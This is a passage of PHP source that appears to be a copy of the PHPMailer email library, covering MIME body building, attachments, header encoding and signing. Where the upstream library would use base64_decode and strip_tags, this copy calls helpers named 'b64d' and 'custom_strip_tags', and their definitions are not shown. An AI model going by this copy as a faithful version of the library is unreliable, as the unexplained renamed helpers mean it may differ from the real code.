  1716.             $bodyEncoding = '7bit';
  1717.             $bodyCharSet = 'us-ascii';
  1718.         }
  1719.         $altBodyEncoding = $this->Encoding;
  1720.         $altBodyCharSet = $this->CharSet;
  1721.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1722.             $altBodyEncoding = '7bit';
  1723.             $altBodyCharSet = 'us-ascii';
  1724.         }
  1725.         switch ($this->message_type) {
  1726.             case 'inline':
  1727.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1728.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1729.                 $body .= $this->LE . $this->LE;
  1730.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1731.                 break;
  1732.             case 'attach':
  1733.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1734.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1735.                 $body .= $this->LE . $this->LE;
  1736.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1737.                 break;
  1738.             case 'inline_attach':
  1739.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1740.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1741.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1742.                 $body .= $this->LE;
  1743.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1744.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1745.                 $body .= $this->LE . $this->LE;
  1746.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1747.                 $body .= $this->LE;
  1748.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1749.                 break;
  1750.             case 'alt':
  1751.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1752.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1753.                 $body .= $this->LE . $this->LE;
  1754.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1755.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1756.                 $body .= $this->LE . $this->LE;
  1757.                 if (!empty($this->Ical)) {
  1758.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1759.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1760.                     $body .= $this->LE . $this->LE;
  1761.                 }
  1762.                 $body .= $this->endBoundary($this->boundary[1]);
  1763.                 break;
  1764.             case 'alt_inline':
  1765.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1766.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1767.                 $body .= $this->LE . $this->LE;
  1768.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1769.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1770.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1771.                 $body .= $this->LE;
  1772.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1773.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1774.                 $body .= $this->LE . $this->LE;
  1775.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1776.                 $body .= $this->LE;
  1777.                 $body .= $this->endBoundary($this->boundary[1]);
  1778.                 break;
  1779.             case 'alt_attach':
  1780.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1781.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1782.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1783.                 $body .= $this->LE;
  1784.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1785.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1786.                 $body .= $this->LE . $this->LE;
  1787.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1788.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1789.                 $body .= $this->LE . $this->LE;
  1790.                 $body .= $this->endBoundary($this->boundary[2]);
  1791.                 $body .= $this->LE;
  1792.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1793.                 break;
  1794.             case 'alt_inline_attach':
  1795.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1796.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1797.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1798.                 $body .= $this->LE;
  1799.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1800.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1801.                 $body .= $this->LE . $this->LE;
  1802.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1803.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1804.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1805.                 $body .= $this->LE;
  1806.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1807.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1808.                 $body .= $this->LE . $this->LE;
  1809.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1810.                 $body .= $this->LE;
  1811.                 $body .= $this->endBoundary($this->boundary[2]);
  1812.                 $body .= $this->LE;
  1813.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1814.                 break;
  1815.             default:
  1816. // catch case 'plain' and case ''
  1817.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1818.                 break;
  1819.         }
  1820.         if ($this->isError()) {
  1821.             $body = '';
  1822.         } elseif ($this->sign_key_file) {
  1823.             try {
  1824.                 if (!defined('PKCS7_TEXT')) {
  1825.                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1826.                 }
  1827. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1828.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1829.                 if (false === file_put_contents($file, $body)) {
  1830.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1831.                 }
  1832.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1833.                 if (@openssl_pkcs7_sign(
  1834.                     $file,
  1835.                     $signed,
  1836.                     'file://' . realpath($this->sign_cert_file),
  1837.                     array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1838.                     null
  1839.                 )
  1840.                 ) {
  1841.                     @unlink($file);
  1842.                     $body = file_get_contents($signed);
  1843.                     @unlink($signed);
  1844.                 } else {
  1845.                     @unlink($file);
  1846.                     @unlink($signed);
  1847.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1848.                 }
  1849.             } catch (phpmailerException $exc) {
  1850.                 $body = '';
  1851.                 if ($this->exceptions) {
  1852.                     throw $exc;
  1853.                 }
  1854.             }
  1855.         }
  1856.         return $body;
  1857.     }
  1858.  
  1859.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1860.     {
  1861.         $result = '';
  1862.         if ($charSet == '') {
  1863.             $charSet = $this->CharSet;
  1864.         }
  1865.         if ($contentType == '') {
  1866.             $contentType = $this->ContentType;
  1867.         }
  1868.         if ($encoding == '') {
  1869.             $encoding = $this->Encoding;
  1870.         }
  1871.         $result .= $this->textLine('--' . $boundary);
  1872.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1873.         $result .= $this->LE;
  1874. // RFC1341 part 5 says 7bit is assumed if not specified
  1875.         if ($encoding != '7bit') {
  1876.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1877.         }
  1878.         $result .= $this->LE;
  1879.         return $result;
  1880.     }
  1881.  
  1882.     protected function endBoundary($boundary)
  1883.     {
  1884.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1885.     }
  1886.  
  1887.     protected function setMessageType()
  1888.     {
  1889.         $type = array();
  1890.         if ($this->alternativeExists()) {
  1891.             $type[] = 'alt';
  1892.         }
  1893.         if ($this->inlineImageExists()) {
  1894.             $type[] = 'inline';
  1895.         }
  1896.         if ($this->attachmentExists()) {
  1897.             $type[] = 'attach';
  1898.         }
  1899.         $this->message_type = implode('_', $type);
  1900.         if ($this->message_type == '') {
  1901.             $this->message_type = 'plain';
  1902.         }
  1903.     }
  1904.  
  1905.     public function headerLine($name, $value)
  1906.     {
  1907.         return $name . ': ' . $value . $this->LE;
  1908.     }
  1909.  
  1910.     public function textLine($value)
  1911.     {
  1912.         return $value . $this->LE;
  1913.     }
  1914.  
  1915.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1916.     {
  1917.         try {
  1918.             if (!@is_file($path)) {
  1919.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1920.             }
  1921. // If a MIME type is not specified, try to work it out from the file name
  1922.             if ($type == '') {
  1923.                 $type = self::filenameToType($path);
  1924.             }
  1925.             $filename = basename($path);
  1926.             if ($name == '') {
  1927.                 $name = $filename;
  1928.             }
  1929.             $this->attachment[] = array(
  1930.                 0 => $path,
  1931.                 1 => $filename,
  1932.                 2 => $name,
  1933.                 3 => $encoding,
  1934.                 4 => $type,
  1935.                 5 => false, // isStringAttachment
  1936.                 6 => $disposition,
  1937.                 7 => 0
  1938.             );
  1939.         } catch (phpmailerException $exc) {
  1940.             $this->setError($exc->getMessage());
  1941.             $this->edebug($exc->getMessage());
  1942.             if ($this->exceptions) {
  1943.                 throw $exc;
  1944.             }
  1945.             return false;
  1946.         }
  1947.         return true;
  1948.     }
  1949.  
  1950.     public function getAttachments()
  1951.     {
  1952.         return $this->attachment;
  1953.     }
  1954.  
  1955.     protected function attachAll($disposition_type, $boundary)
  1956.     {
  1957. // Return text of body
  1958.         $mime = array();
  1959.         $cidUniq = array();
  1960.         $incl = array();
  1961. // Add all attachments
  1962.         foreach ($this->attachment as $attachment) {
  1963. // Check if it is a valid disposition_filter
  1964.             if ($attachment[6] == $disposition_type) {
  1965. // Check for string attachment
  1966.                 $string = '';
  1967.                 $path = '';
  1968.                 $bString = $attachment[5];
  1969.                 if ($bString) {
  1970.                     $string = $attachment[0];
  1971.                 } else {
  1972.                     $path = $attachment[0];
  1973.                 }
  1974.                 $inclhash = md5(serialize($attachment));
  1975.                 if (in_array($inclhash, $incl)) {
  1976.                     continue;
  1977.                 }
  1978.                 $incl[] = $inclhash;
  1979.                 $name = $attachment[2];
  1980.                 $encoding = $attachment[3];
  1981.                 $type = $attachment[4];
  1982.                 $disposition = $attachment[6];
  1983.                 $cid = $attachment[7];
  1984.                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1985.                     continue;
  1986.                 }
  1987.                 $cidUniq[$cid] = true;
  1988.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1989.                 $mime[] = sprintf(
  1990.                     'Content-Type: %s; name="%s"%s',
  1991.                     $type,
  1992.                     $this->encodeHeader($this->secureHeader($name)),
  1993.                     $this->LE
  1994.                 );
  1995. // RFC1341 part 5 says 7bit is assumed if not specified
  1996.                 if ($encoding != '7bit') {
  1997.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1998.                 }
  1999.                 if ($disposition == 'inline') {
  2000.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2001.                 }
  2002. // If a filename contains any of these chars, it should be quoted,
  2003. // but not otherwise: RFC2183 & RFC2045 5.1
  2004. // Fixes a warning in IETF's msglint MIME checker
  2005. // Allow for bypassing the Content-Disposition header totally
  2006.                 if (!(empty($disposition))) {
  2007.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2008.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2009.                         $mime[] = sprintf(
  2010.                             'Content-Disposition: %s; filename="%s"%s',
  2011.                             $disposition,
  2012.                             $encoded_name,
  2013.                             $this->LE . $this->LE
  2014.                         );
  2015.                     } else {
  2016.                         $mime[] = sprintf(
  2017.                             'Content-Disposition: %s; filename=%s%s',
  2018.                             $disposition,
  2019.                             $encoded_name,
  2020.                             $this->LE . $this->LE
  2021.                         );
  2022.                     }
  2023.                 } else {
  2024.                     $mime[] = $this->LE;
  2025.                 }
  2026. // Encode as string attachment
  2027.                 if ($bString) {
  2028.                     $mime[] = $this->encodeString($string, $encoding);
  2029.                     if ($this->isError()) {
  2030.                         return '';
  2031.                     }
  2032.                     $mime[] = $this->LE . $this->LE;
  2033.                 } else {
  2034.                     $mime[] = $this->encodeFile($path, $encoding);
  2035.                     if ($this->isError()) {
  2036.                         return '';
  2037.                     }
  2038.                     $mime[] = $this->LE . $this->LE;
  2039.                 }
  2040.             }
  2041.         }
  2042.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2043.         return implode('', $mime);
  2044.     }
  2045.  
  2046.     protected function encodeFile($path, $encoding = 'base64')
  2047.     {
  2048.         try {
  2049.             if (!is_readable($path)) {
  2050.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2051.             }
  2052.             $magic_quotes = get_magic_quotes_runtime();
  2053.             if ($magic_quotes) {
  2054.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2055.                     set_magic_quotes_runtime(false);
  2056.                 } else {
  2057.                     ini_set('magic_quotes_runtime', 0);
  2058.                 }
  2059.             }
  2060.             $file_buffer = file_get_contents($path);
  2061.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  2062.             if ($magic_quotes) {
  2063.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2064.                     set_magic_quotes_runtime($magic_quotes);
  2065.                 } else {
  2066.                     ini_set('magic_quotes_runtime', ($magic_quotes ? '1' : '0'));
  2067.                 }
  2068.             }
  2069.             return $file_buffer;
  2070.         } catch (Exception $exc) {
  2071.             $this->setError($exc->getMessage());
  2072.             return '';
  2073.         }
  2074.     }
  2075.  
  2076.     public function encodeString($str, $encoding = 'base64')
  2077.     {
  2078.         $encoded = '';
  2079.         switch (strtolower($encoding)) {
  2080.             case 'base64':
  2081.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2082.                 break;
  2083.             case '7bit':
  2084.             case '8bit':
  2085.                 $encoded = $this->fixEOL($str);
  2086. // Make sure it ends with a line break
  2087.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2088.                     $encoded .= $this->LE;
  2089.                 }
  2090.                 break;
  2091.             case 'binary':
  2092.                 $encoded = $str;
  2093.                 break;
  2094.             case 'quoted-printable':
  2095.                 $encoded = $this->encodeQP($str);
  2096.                 break;
  2097.             default:
  2098.                 $this->setError($this->lang('encoding') . $encoding);
  2099.                 break;
  2100.         }
  2101.         return $encoded;
  2102.     }
  2103.  
  2104.     public function encodeHeader($str, $position = 'text')
  2105.     {
  2106.         $matchcount = 0;
  2107.         switch (strtolower($position)) {
  2108.             case 'phrase':
  2109.                 if (!preg_match('/[\200-\377]/', $str)) {
  2110. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2111.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2112.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2113.                         return ($encoded);
  2114.                     } else {
  2115.                         return ("\"$encoded\"");
  2116.                     }
  2117.                 }
  2118.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2119.                 break;
  2120.             /** @noinspection PhpMissingBreakStatementInspection */
  2121.             case 'comment':
  2122.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2123. // Intentional fall-through
  2124.             case 'text':
  2125.             default:
  2126.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2127.                 break;
  2128.         }
  2129.         if ($matchcount == 0) { // There are no chars that need encoding
  2130.             return ($str);
  2131.         }
  2132.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2133. // Try to select the encoding which should produce the shortest output
  2134.         if ($matchcount > strlen($str) / 3) {
  2135. // More than a third of the content will need encoding, so B encoding will be most efficient
  2136.             $encoding = 'B';
  2137.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2138.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2139.             } else {
  2140.                 $encoded = base64_encode($str);
  2141.                 $maxlen -= $maxlen % 4;
  2142.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2143.             }
  2144.         } else {
  2145.             $encoding = 'Q';
  2146.             $encoded = $this->encodeQ($str, $position);
  2147.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2148.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2149.         }
  2150.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2151.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2152.         return $encoded;
  2153.     }
  2154.  
  2155.     public function hasMultiBytes($str)
  2156.     {
  2157.         if (function_exists('mb_strlen')) {
  2158.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2159.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2160.             return false;
  2161.         }
  2162.     }
  2163.  
  2164.     public function has8bitChars($text)
  2165.     {
  2166.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2167.     }
  2168.  
  2169.     public function base64EncodeWrapMB($str, $linebreak = null)
  2170.     {
  2171.         $start = '=?' . $this->CharSet . '?B?';
  2172.         $end = '?=';
  2173.         $encoded = '';
  2174.         if ($linebreak === null) {
  2175.             $linebreak = $this->LE;
  2176.         }
  2177.         $mb_length = mb_strlen($str, $this->CharSet);
  2178. // Each line must have length <= 75, including $start and $end
  2179.         $length = 75 - strlen($start) - strlen($end);
  2180. // Average multi-byte ratio
  2181.         $ratio = $mb_length / strlen($str);
  2182. // Base64 has a 4:3 ratio
  2183.         $avgLength = floor($length * $ratio * .75);
  2184.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2185.             $lookBack = 0;
  2186.             do {
  2187.                 $offset = $avgLength - $lookBack;
  2188.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2189.                 $chunk = base64_encode($chunk);
  2190.                 $lookBack++;
  2191.             } while (strlen($chunk) > $length);
  2192.             $encoded .= $chunk . $linebreak;
  2193.         }
  2194. // Chomp the last linefeed
  2195.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2196.         return $encoded;
  2197.     }
  2198.  
  2199.     public function encodeQP($string, $line_max = 76)
  2200.     {
  2201.         if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2202.             return $this->fixEOL(quoted_printable_encode($string));
  2203.         }
  2204. // Fall back to a pure PHP implementation
  2205.         $string = str_replace(
  2206.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2207.             array(' ', "\r\n=2E", "\r\n", '='),
  2208.             rawurlencode($string)
  2209.         );
  2210.         $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2211.         return $this->fixEOL($string);
  2212.     }
  2213.  
  2214.     public function encodeQPphp(
  2215.         $string,
  2216.         $line_max = 76,
  2217.         /** @noinspection PhpUnusedParameterInspection */
  2218.         $space_conv = false
  2219.     )
  2220.     {
  2221.         return $this->encodeQP($string, $line_max);
  2222.     }
  2223.  
  2224.     public function encodeQ($str, $position = 'text')
  2225.     {
  2226. // There should not be any EOL in the string
  2227.         $pattern = '';
  2228.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2229.         switch (strtolower($position)) {
  2230.             case 'phrase':
  2231. // RFC 2047 section 5.3
  2232.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2233.                 break;
  2234.             /** @noinspection PhpMissingBreakStatementInspection */
  2235.             case 'comment':
  2236. // RFC 2047 section 5.2
  2237.                 $pattern = '\(\)"';
  2238.             case 'text':
  2239.             default:
  2240.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2241.                 break;
  2242.         }
  2243.         $matches = array();
  2244.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2245.             $eqkey = array_search('=', $matches[0]);
  2246.             if (false !== $eqkey) {
  2247.                 unset($matches[0][$eqkey]);
  2248.                 array_unshift($matches[0], '=');
  2249.             }
  2250.             foreach (array_unique($matches[0]) as $char) {
  2251.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2252.             }
  2253.         }
  2254. // Replace every spaces to _ (more readable than =20)
  2255.         return str_replace(' ', '_', $encoded);
  2256.     }
  2257.  
  2258.     public function addStringAttachment(
  2259.         $string,
  2260.         $filename,
  2261.         $encoding = 'base64',
  2262.         $type = '',
  2263.         $disposition = 'attachment'
  2264.     )
  2265.     {
  2266. // If a MIME type is not specified, try to work it out from the file name
  2267.         if ($type == '') {
  2268.             $type = self::filenameToType($filename);
  2269.         }
  2270. // Append to $attachment array
  2271.         $this->attachment[] = array(
  2272.             0 => $string,
  2273.             1 => $filename,
  2274.             2 => basename($filename),
  2275.             3 => $encoding,
  2276.             4 => $type,
  2277.             5 => true, // isStringAttachment
  2278.             6 => $disposition,
  2279.             7 => 0
  2280.         );
  2281.     }
  2282.  
  2283.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2284.     {
  2285.         if (!@is_file($path)) {
  2286.             $this->setError($this->lang('file_access') . $path);
  2287.             return false;
  2288.         }
  2289. // If a MIME type is not specified, try to work it out from the file name
  2290.         if ($type == '') {
  2291.             $type = self::filenameToType($path);
  2292.         }
  2293.         $filename = basename($path);
  2294.         if ($name == '') {
  2295.             $name = $filename;
  2296.         }
  2297. // Append to $attachment array
  2298.         $this->attachment[] = array(
  2299.             0 => $path,
  2300.             1 => $filename,
  2301.             2 => $name,
  2302.             3 => $encoding,
  2303.             4 => $type,
  2304.             5 => false, // isStringAttachment
  2305.             6 => $disposition,
  2306.             7 => $cid
  2307.         );
  2308.         return true;
  2309.     }
  2310.  
  2311.     public function addStringEmbeddedImage(
  2312.         $string,
  2313.         $cid,
  2314.         $name = '',
  2315.         $encoding = 'base64',
  2316.         $type = '',
  2317.         $disposition = 'inline'
  2318.     )
  2319.     {
  2320. // If a MIME type is not specified, try to work it out from the name
  2321.         if ($type == '') {
  2322.             $type = self::filenameToType($name);
  2323.         }
  2324. // Append to $attachment array
  2325.         $this->attachment[] = array(
  2326.             0 => $string,
  2327.             1 => $name,
  2328.             2 => $name,
  2329.             3 => $encoding,
  2330.             4 => $type,
  2331.             5 => true, // isStringAttachment
  2332.             6 => $disposition,
  2333.             7 => $cid
  2334.         );
  2335.         return true;
  2336.     }
  2337.  
  2338.     public function inlineImageExists()
  2339.     {
  2340.         foreach ($this->attachment as $attachment) {
  2341.             if ($attachment[6] == 'inline') {
  2342.                 return true;
  2343.             }
  2344.         }
  2345.         return false;
  2346.     }
  2347.  
  2348.     public function attachmentExists()
  2349.     {
  2350.         foreach ($this->attachment as $attachment) {
  2351.             if ($attachment[6] == 'attachment') {
  2352.                 return true;
  2353.             }
  2354.         }
  2355.         return false;
  2356.     }
  2357.  
  2358.     public function alternativeExists()
  2359.     {
  2360.         return !empty($this->AltBody);
  2361.     }
  2362.  
  2363.     public function clearAddresses()
  2364.     {
  2365.         foreach ($this->to as $to) {
  2366.             unset($this->all_recipients[strtolower($to[0])]);
  2367.         }
  2368.         $this->to = array();
  2369.     }
  2370.  
  2371.     public function clearCCs()
  2372.     {
  2373.         foreach ($this->cc as $cc) {
  2374.             unset($this->all_recipients[strtolower($cc[0])]);
  2375.         }
  2376.         $this->cc = array();
  2377.     }
  2378.  
  2379.     public function clearBCCs()
  2380.     {
  2381.         foreach ($this->bcc as $bcc) {
  2382.             unset($this->all_recipients[strtolower($bcc[0])]);
  2383.         }
  2384.         $this->bcc = array();
  2385.     }
  2386.  
  2387.     public function clearReplyTos()
  2388.     {
  2389.         $this->ReplyTo = array();
  2390.     }
  2391.  
  2392.     public function clearAllRecipients()
  2393.     {
  2394.         $this->to = array();
  2395.         $this->cc = array();
  2396.         $this->bcc = array();
  2397.         $this->all_recipients = array();
  2398.     }
  2399.  
  2400.     public function clearAttachments()
  2401.     {
  2402.         $this->attachment = array();
  2403.     }
  2404.  
  2405.     public function clearCustomHeaders()
  2406.     {
  2407.         $this->CustomHeader = array();
  2408.     }
  2409.  
  2410.     protected function setError($msg)
  2411.     {
  2412.         $this->error_count++;
  2413.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2414.             $lasterror = $this->smtp->getError();
  2415.             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2416.                 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2417.             }
  2418.         }
  2419.         $this->ErrorInfo = $msg;
  2420.     }
  2421.  
  2422.     public static function rfcDate()
  2423.     {
  2424. // Set the time zone to whatever the default is to avoid 500 errors
  2425. // Will default to UTC if it's not set properly in php.ini
  2426.         date_default_timezone_set(@date_default_timezone_get());
  2427.         return date('D, j M Y H:i:s O');
  2428.     }
  2429.  
  2430.     protected function serverHostname()
  2431.     {
  2432.         $result = 'localhost.localdomain';
  2433.         if (!empty($this->Hostname)) {
  2434.             $result = $this->Hostname;
  2435.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2436.             $result = $_SERVER['SERVER_NAME'];
  2437.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  2438.             $result = gethostname();
  2439.         } elseif (php_uname('n') !== false) {
  2440.             $result = php_uname('n');
  2441.         }
  2442.         return $result;
  2443.     }
  2444.  
  2445.     protected function lang($key)
  2446.     {
  2447.         if (count($this->language) < 1) {
  2448.             $this->setLanguage('en'); // set the default language
  2449.         }
  2450.         if (isset($this->language[$key])) {
  2451.             return $this->language[$key];
  2452.         } else {
  2453.             return 'Language string failed to load: ' . $key;
  2454.         }
  2455.     }
  2456.  
  2457.     public function isError()
  2458.     {
  2459.         return ($this->error_count > 0);
  2460.     }
  2461.  
  2462.     public function fixEOL($str)
  2463.     {
  2464. // Normalise to \n
  2465.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2466. // Now convert LE as needed
  2467.         if ($this->LE !== "\n") {
  2468.             $nstr = str_replace("\n", $this->LE, $nstr);
  2469.         }
  2470.         return $nstr;
  2471.     }
  2472.  
  2473.     public function addCustomHeader($name, $value = null)
  2474.     {
  2475.         if ($value === null) {
  2476. // Value passed in as name:value
  2477.             $this->CustomHeader[] = explode(':', $name, 2);
  2478.         } else {
  2479.             $this->CustomHeader[] = array($name, $value);
  2480.         }
  2481.     }
  2482.  
  2483.     public function msgHTML($message, $basedir = '', $advanced = false)
  2484.     {
  2485.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2486.         if (isset($images[2])) {
  2487.             foreach ($images[2] as $imgindex => $url) {
  2488. // Convert data URIs into embedded images
  2489.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2490.                     $data = substr($url, strpos($url, ',') + 1);
  2491.                     if ($match[2]) {
  2492.                         $data = b64d($data);
  2493.                     } else {
  2494.                         $data = rawurldecode($data);
  2495.                     }
  2496.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2497.                     if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2498.                         $message = str_replace(
  2499.                             $images[0][$imgindex],
  2500.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2501.                             $message
  2502.                         );
  2503.                     }
  2504.                 } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2505. // Do not change urls for absolute images (thanks to corvuscorax)
  2506.                     $filename = basename($url);
  2507.                     $directory = dirname($url);
  2508.                     if ($directory == '.') {
  2509.                         $directory = '';
  2510.                     }
  2511.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2512.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2513.                         $basedir .= '/';
  2514.                     }
  2515.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2516.                         $directory .= '/';
  2517.                     }
  2518.                     if ($this->addEmbeddedImage(
  2519.                         $basedir . $directory . $filename,
  2520.                         $cid,
  2521.                         $filename,
  2522.                         'base64',
  2523.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2524.                     )
  2525.                     ) {
  2526.                         $message = preg_replace(
  2527.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2528.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2529.                             $message
  2530.                         );
  2531.                     }
  2532.                 }
  2533.             }
  2534.         }
  2535.         $this->isHTML(true);
  2536. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2537.         $this->Body = $this->normalizeBreaks($message);
  2538.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2539.         if (empty($this->AltBody)) {
  2540.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2541.                 self::CRLF . self::CRLF;
  2542.         }
  2543.         return $this->Body;
  2544.     }
  2545.  
  2546.     public function html2text($html, $advanced = false)
  2547.     {
  2548.         if (is_callable($advanced)) {
  2549.             return call_user_func($advanced, $html);
  2550.         }
  2551.         return html_entity_decode(
  2552.             trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2553.             ENT_QUOTES,
  2554.             $this->CharSet
  2555.         );
  2556.     }
  2557.  
